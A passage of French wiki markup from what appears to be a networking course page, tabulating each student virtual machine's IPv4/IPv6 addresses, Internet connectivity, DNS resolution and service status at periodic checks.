| 4 || truite || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe76:c541&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe28:9560&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:cbda&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe59:3697&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.5&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fea5:bb5e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:555e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb0:ceb2&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2d:46de&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:9eed&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.3&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8c:6bb0&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe2f:914a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl  || ssh IPv6 sur SE4 non fonctionnel || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0a:5ec5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe52:a79f&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe9d:46b9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || pas d'IPv4 sur le CV || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4f:5cd&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.21&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fef3:dbe8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.20&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || pas de connectivité à Internet en IPv4 || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe42:f09a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines mandataires. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || brachiosaure || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.181&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe64:9bd8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || heterodontosaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe06:fdf5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || mosasaurus || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.188&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:709&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || plesiosaurus || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.186&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feeb:3067&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || pteranodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 19.19.19.12&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe8f:fa9&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || raptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fefc:6d5b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || smilodon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.180&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe1c:6d24&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || spinosaure || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 14.14.14.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe4d:60f1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || trex || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.183&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe0e:437d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || triceratops || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 11.11.11.1&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe5f:b679&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || velociraptor || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 12.12.12.16&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur SE4 : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feef:fbb8&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Bilan des services Internet implantés.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! Synchronisation DNS !! DNSSEC &lt;br /&gt;
! Serveur HTTP sur le domaine !! Serveur HTTP sur www&lt;br /&gt;
! Serveur HTTPS sur le domaine !! Serveur HTTPS sur www&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || lynx || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || nyala || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || tigre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || ornithorynque || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || axolotl || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || caribou || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || panthere || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || singe || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || loutre || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || fennec || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || castor-canard || &amp;lt;div style='color: red;'&amp;gt;pas de serveur DNS&amp;lt;/div&amp;gt; || || || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle à 16h30 ===&lt;br /&gt;
&lt;br /&gt;
Bilan pour les machines de services. Il est normal de ne pas avoir une adresse IPv4 routée pour une machine de services. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Nom machine&lt;br /&gt;
! IPv4 privée !! IPv4 routée !! Connexion IPv4 Internet&lt;br /&gt;
! IPv6 routée !! Connexion IPv6 Internet&lt;br /&gt;
! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || aigle || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 192.168.7.2&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe79:a033&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 2 || chevreuil || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:25a3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 3 || belette || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe83:642e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || truite || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe76:c541&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || esturgeon || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe28:9560&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 6 || palourde || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.10&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe3e:cbda&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || bigorneau || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.11&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fe59:3697&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 8 || munchkin || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.5&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:fea5:bb5e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || ecureuil || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.12.12.17&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb2:555e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || siamois || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.10.10.6&amp;lt;/div&amp;gt; || pas d'IPv4 sur SE4 || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv4&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur SE4 : 2001:660:4401:60a0:216:3eff:feb0:ceb2&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connectivité à Internet en IPv6&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
